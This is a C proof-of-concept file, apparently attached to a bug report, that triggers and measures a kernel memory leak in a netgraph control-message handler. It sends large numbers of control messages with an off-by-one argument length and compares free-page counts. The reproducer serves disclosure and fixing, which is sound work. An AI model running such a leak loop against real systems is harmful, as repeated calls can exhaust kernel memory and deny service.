/*
 * DF-3483 -- v1 ng_base.c ng_generic_msg() control-message leak
 *
 * NGM_MKPEER / NGM_CONNECT / NGM_NAME / NGM_RMHOOK arglen-mismatch error
 * paths `return (EINVAL)` WITHOUT kfree(msg) (ng_base.c:1263-1266, 1279-1282,
 * 1296-1299, 1309-1312), violating the handler contract ("It is up to the
 * message handler to free the message", ng_base.c:1177-1179).  Neither caller
 * frees on error either (ng_send_msg:1226, ngintr:2062), so the whole
 * user-sized struct ng_mesg allocation leaks per call.
 *
 * A/B proof:
 *   phase "good": N MKPEER messages with correct arglen to a BOGUS PATH
 *                 (fails in ng_path2node; ng_send_msg kfrees at :1218) ->
 *                 no leak.
 *   phase "bad":  N MKPEER messages with arglen = sizeof(struct ngm_mkpeer)-1
 *                 to "." (fails in the handler early-return) -> leak.
 *   phase "bad2": N NGM_NAME messages with arglen = sizeof(struct ngm_name)-1
 *                 -> leak (second site).
 * Compare vm.stats.vm.v_free_count around each phase.
 */
#include <sys/types.h>
#include <sys/sysctl.h>
#include <sys/socket.h>
#include <errno.h>
#include <stdio.h>
#include <stdlib.h>
#include <string.h>
#include <unistd.h>

#include <netgraph/ng_message.h>
#include <netgraph/socket/ng_socket.h>

static int ctrl = -1;
static u_int32_t token = 0x2000;

static long freepages(void)
{
	size_t len = sizeof(long);
	long v = -1;
	if (sysctlbyname("vm.stats.vm.v_free_count", &v, &len, NULL, 0) < 0)
		perror("sysctl");
	return (v);
}

static int ng_send_path(const char *path, u_int32_t cookie, int cmd,
    const void *arg, size_t arglen, int override_arglen)
{
	struct sockaddr_ng sg;
	struct ng_mesg *m;
	size_t len = sizeof(*m) + (arglen ? arglen - 1 : 0) + 1;
	ssize_t n;

	m = calloc(1, len);
	if (m == NULL) { perror("calloc"); exit(1); }
	m->header.version = NG_VERSION;
	m->header.typecookie = cookie;
	m->header.cmd = cmd;
	m->header.arglen = override_arglen ? override_arglen : arglen;
	m->header.token = token++;
	if (arglen)
		memcpy(m->data, arg, arglen);

	memset(&sg, 0, sizeof(sg));
	sg.sg_len = 2 + strlen(path);
	sg.sg_family = AF_NETGRAPH;
	strlcpy(sg.sg_data, path, sizeof(sg.sg_data));

	n = sendto(ctrl, m, len, 0, (struct sockaddr *)&sg, sg.sg_len);
	free(m);
	return (n < 0) ? -errno : 0;
}

static long run_phase(const char *name, long iters, u_int32_t cookie, int cmd,
    const void *arg, size_t arglen, int override, const char *path)
{
	long b, a, i;
	int rc, e;
	int hist[3] = {0, 0, 0};

	b = freepages();
	for (i = 0; i < iters; i++) {
		rc = ng_send_path(path, cookie, cmd, arg, arglen, override);
		e = -rc;
		if (e == EINVAL)
			hist[0]++;
		else if (e == 0)
			hist[1]++;
		else
			hist[2]++;
	}
	a = freepages();
	printf("%-6s %8ld iters: errno-hist ok=%d einval=%d other=%d, "
	    "free %ld -> %ld (delta %ld pages = %ld KB)\n",
	    name, iters, hist[1], hist[0], hist[2], b, a, b - a,
	    (b - a) * (long)(getpagesize() / 1024));
	fflush(stdout);
	return (b - a);
}

int main(int argc, char **argv)
{
	struct ngm_mkpeer mk;
	struct ngm_name nm;
	long n = (argc > 1) ? atol(argv[1]) : 20000;
	long d_good, d_bad, d_bad2;

	ctrl = socket(AF_NETGRAPH, SOCK_DGRAM, NG_CONTROL);
	if (ctrl < 0) { perror("ctrl socket"); exit(1); }

	/* name our node so we can also test NGM_NAME against it */
	memset(&nm, 0, sizeof(nm));
	strlcpy(nm.name, "leaktest", sizeof(nm.name));
	(void)ng_send_path(".", NGM_GENERIC_COOKIE, NGM_NAME,
	    &nm, sizeof(nm), 0);
	/* rename is refused (EISCONN) with correct arglen -> no leak anyway */

	printf("sizeof(ngm_mkpeer)=%zu sizeof(ngm_name)=%zu "
	    "sizeof(ng_mesg)=%zu\n",
	    sizeof(mk), sizeof(nm), sizeof(struct ng_mesg));

	memset(&mk, 0, sizeof(mk));
	strlcpy(mk.type, "echo", sizeof(mk.type));
	strlcpy(mk.ourhook, "h0", sizeof(mk.ourhook));
	strlcpy(mk.peerhook, "x", sizeof(mk.peerhook));

	/* control: correct arglen, addressing failure -> msg freed properly */
	d_good = run_phase("good", n, NGM_GENERIC_COOKIE, NGM_MKPEER,
	    &mk, sizeof(mk), 0, "nosuchnode:hook9");

	/* bug: arglen off-by-one, reaches handler early return -> leak */
	d_bad = run_phase("bad", n, NGM_GENERIC_COOKIE, NGM_MKPEER,
	    &mk, sizeof(mk), (int)sizeof(mk) - 1, ".");

	/* bug site 2: NGM_NAME with arglen off-by-one */
	memset(&nm, 0, sizeof(nm));
	strlcpy(nm.name, "xx", sizeof(nm.name));
	d_bad2 = run_phase("bad2", n, NGM_GENERIC_COOKIE, NGM_NAME,
	    &nm, sizeof(nm), (int)sizeof(nm) - 1, ".");

	printf("\nSUMMARY: good delta=%ld pages, bad delta=%ld pages, "
	    "bad2 delta=%ld pages\n", d_good, d_bad, d_bad2);
	printf("%s\n", (d_bad > d_good + n / 64) ?
	    "LEAK CONFIRMED (bad >> good)" : "no significant leak seen");
	return (0);
}
